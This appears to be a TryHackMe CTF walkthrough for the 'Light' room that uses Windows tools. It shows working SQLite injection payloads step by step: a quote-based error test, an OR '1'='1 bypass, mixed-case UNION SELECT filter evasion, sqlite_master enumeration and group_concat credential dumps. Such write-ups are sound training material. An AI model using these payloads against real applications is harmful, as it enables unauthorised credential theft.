Light - TryHackMe Walkthrough
May 06, 2025
π» PowerHack Series
This write-up is part of my PowerHack series β a personal initiative to solve TryHackMe CTFs using only Windows-based tools.
From PowerShell to WSL, Iβm proving that ethical hacking can be done effectively without leaving your Windows workstation.

π‘ TryHackMe CTF: Light - PowerHack Style Walkthrough (Hacking from Windows)
Welcome to the Light TryHackMe CTFs! This walkthrough shows how to exploit a vulnerable SQLite-based application using Windows tools, such as ncat.exe and PowerShell β part of our PowerHack series, where we hack straight from a Windows box.
β οΈ No bruteforcing involved. All actions performed through logic and injection.
π Challenge Overview
Target: MACHIN-IP:1337
- π― Goal: Dump the admin username, password, and flag.
- π§© Backend: SQLite
- π Techniques: SQL Injection (Error-based, UNION-based, Enumeration)
- πͺ Environment: Windows (PowerShell +
ncat.exe)
1οΈβ£ Connecting from Windows with ncat
We begin by using ncat.exe to connect to the running service:
ncat.exe MACHIN-IP 1337
This opens a TCP connection to the service, giving us access to input and view responses directly.
The welcome message confirms:
Welcome to the Light database!
2οΈβ£ Checking the Given Username
Input:
Please enter your username: smokey
Response:
Password: vYQ5ngPpw8AdUmL
β This shows that submitting a valid username simply reveals its password. No authentication logic involved β only retrieval.
3οΈβ£ Testing for SQL Injection
We test the input for SQL Injection using a single quote:
Please enter your username: '
Response:
Error: unrecognized token: "''' LIMIT 30"
β The error confirms unsanitized SQL β itβs vulnerable!
This is typical of SQL Injection: malformed input causes backend SQL parsing errors. We now try to exploit this.
4οΈβ£ Simple Injection to Bypass Query
Classic SQLi:
' OR '1'='1
Response:
Password: tF8tj2o94WE4LKC
β The password of the first row is returned, proving injection worked.
5οΈβ£ Exploring UNION-Based Injection
We try using UNION SELECT to extract data manually.
Initial test with comment --:
' UNION SELECT NULL --
Blocked.
Trying camelCase and different comment styles:
' UNIOn SELECt NULL '
Response:
Password: None
β Query succeeded, meaning one column is being selected.
6οΈβ£ Injecting and Extracting Arbitrary Data
Test injecting static data:
' UNIOn SELECt 1 '
Response:
Password: 1
Try fetching the DB version:
' UNIOn SELECt sqlite_version() '
Response:
Password: 3.31.1
β Confirmed: SQLite database.
7οΈβ£ Listing All Tables
Dumping table creation SQL:
' UNIOn SELECt group_concat(sql) FROM sqlite_master '
Response (shortened):
Password: CREATE TABLE usertable (...),CREATE TABLE admintable (...)
β Tables discovered:
usertableadmintable
8οΈβ£ Dumping All User Credentials
Use SQLite functions to concatenate and extract data:
' UNIOn SELECt group_concat(username || ':' || password) FROM usertable '
Response:
Password: alice:..., rob:..., michael:..., smokey:..., steve:...
β All user credentials retrieved successfully.
9οΈβ£ Extracting Admin & Flag (Obfuscated)
Same trick on admintable:
' UNIOn SELECt group_concat(username || ':' || password) FROM admintable '
Response:
Password: ########:########,flag:THM{##########_########_#####}
β Admin and flag successfully dumped β but we wonβt expose the flag content here to comply with TryHackMeβs rules.
β Summary: Key Takeaways
- π§ SQL Injection can be exploited even without login forms β any unsanitized input may be vulnerable.
- π SQLite makes it easier to enumerate structure via
sqlite_master. - π₯ Using PowerHack-style tooling (e.g.,
ncat.exe, PowerShell) on Windows lets you hack without needing Kali or Linux distros.
π§° Tools Used (Windows)
ncat.exeβ TCP communication with service- PowerShell β for automation, encoding payloads, testing delays
π― Completion
We accomplished:
- β SQL injection discovery
- β Enumerated database
- β Retrieved all users
- β Extracted admin + flag (redacted)
π Light CTF Complete β Windows-style.
π Outro
This write-up is part of the PowerHack series β where we show how to hack CTFs and bug bounty targets using only Windows + PowerShell tools. No Linux box required.
Follow along to level up your recon and exploitation skills in a real-world Windows-friendly workflow. π»β‘